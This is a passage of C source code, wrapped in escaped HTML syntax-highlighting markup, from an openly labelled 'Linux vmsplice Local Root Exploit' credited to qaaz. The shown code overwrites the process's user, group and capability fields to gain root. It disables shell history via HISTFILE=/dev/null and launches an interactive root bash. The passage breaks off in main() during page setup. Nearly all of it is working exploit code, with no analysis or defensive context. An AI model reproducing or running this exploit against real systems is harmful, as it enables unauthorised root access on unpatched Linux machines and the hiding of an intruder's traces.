&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == uid &#x26;amp;&#x26;amp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == uid &#x26;amp;&#x26;amp;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;4&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == gid &#x26;amp;&#x26;amp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;5&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == gid &#x26;amp;&#x26;amp;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;6&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == gid &#x26;amp;&#x26;amp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;7&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == gid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;4&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;5&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;6&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;7&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p = &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;uint *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;p + &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;8&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; + &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;sizeof&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = ~&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;break&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p++;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; exit_kernel&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; exit_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;getuid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; != &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;wtf&#x26;quot;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; root&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; putenv&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;HISTFILE=/dev/null&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; execl&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;/bin/bash&#x26;quot;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;bash&#x26;quot;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;-i&#x26;quot;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;NULL&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;/bin/bash&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;&#x26;nbsp; &#x26;nbsp;main&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E; argc, &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; *argv&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pi&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; size_t&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; *&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_addr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;struct&#x3C;/span&#x3E; iovec&#x26;nbsp; &#x26;nbsp; iov;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;struct&#x3C;/span&#x3E; page *&#x26;nbsp; &#x26;nbsp;pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;5&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; uid = getuid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; gid = getgid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; setresuid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;uid, uid, uid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; setresgid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;gid, gid, gid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;-----------------------------------&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot; Linux vmsplice Local Root Exploit&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot; By qaaz&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;-----------------------------------&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;!uid || !gid&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;!@#$&#x26;quot;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; **&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;amp;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;,PAGE_SIZE&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
